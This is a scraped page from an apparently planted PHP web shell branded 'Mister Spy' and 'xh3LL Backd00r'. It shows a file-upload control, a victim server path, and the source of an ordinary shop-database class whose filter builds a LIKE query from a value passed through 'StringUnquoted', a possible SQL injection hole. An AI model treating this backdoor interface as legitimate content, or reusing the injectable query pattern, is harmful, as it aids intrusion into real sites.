Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.talles.php

<?php 

require_once('class.dbaccess.php');
require_once('class.talle.php');
require_once('class.filter.php');
require_once('class.page.php');

class Talles extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		$sql.= " AND Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		
		return $sql;
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblTalles";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Nombre";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oTalle = new Talle();
			$oTalle->ParseFromArray($oRow);

			array_push($arr, $oTalle);

			$oRes->MoveNext();
		}

		return $arr;
	}
	
	public function GetAllByProductoColor(array $filter)
	{
		$sql = "SELECT t.*";
		$sql.= " FROM tblTalles t";
		$sql.= " INNER JOIN tblProductoTalles pt ON t.IdTalle = pt.IdTalle";
		$sql.= " WHERE pt.IdProducto = " . DB::Number($filter['IdProducto']);
		$sql.= " AND pt.IdColor = " . DB::Number($filter['IdColor']);

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oTalle = new Talle();
			$oTalle->ParseFromArray($oRow);

			array_push($arr, $oTalle);

			$oRes->MoveNext();
		}

		return $arr;
	}
	

	public function GetLastId()
	{
		$sql = "SELECT MAX(IdTalle) AS IdTalle";
		$sql.= " FROM tblTalles";
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$IdTalle = $oRow['IdTalle'];
		
		return $IdTalle;
	}


	public function GetById($IdTalle)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblTalles";
		$sql.= " WHERE IdTalle = " . DB::Number($IdTalle);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oTalle = new Talle();
		$oTalle->ParseFromArray($oRow);
		
		return $oTalle;
	}
	

	public function GetByNombre($Nombre)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblTalles";
		$sql.= " WHERE Nombre = " . DB::String($Nombre);

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		if (!($oRow = $oRes->GetRow()))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())
		{
			$oTalle = new Talle();
			$oTalle->ParseFromArray($oRow);

			array_push($arr, $oTalle);

			$oRes->MoveNext();
		}

		return $arr;
	}

	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblTalles";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Nombre";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(Talle $oTalle)
	{
		$arr = array('Nombre' => DB::String($oTalle->Nombre));
		
		if (!$this->Insert('tblTalles', $arr))
			return false;
			
		return $oTalle;
	}
	
	
	public function Update(Talle $oTalle)
	{
		$where = " IdTalle = " . DB::Number($oTalle->IdTalle);
		
		$arr = array('Nombre' => DB::String($oTalle->Nombre));
		
		if (!DBAccess::UpdateEntidad('tblTalles', $arr, $where))
			return false;
		
		return $oTalle;
	}
	

	public function Delete($IdTalle)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdTalle = " . DB::Number($IdTalle);
		if (!DBAccess::DeleteEntidad('tblTalles', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();

		return true;
	}		
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat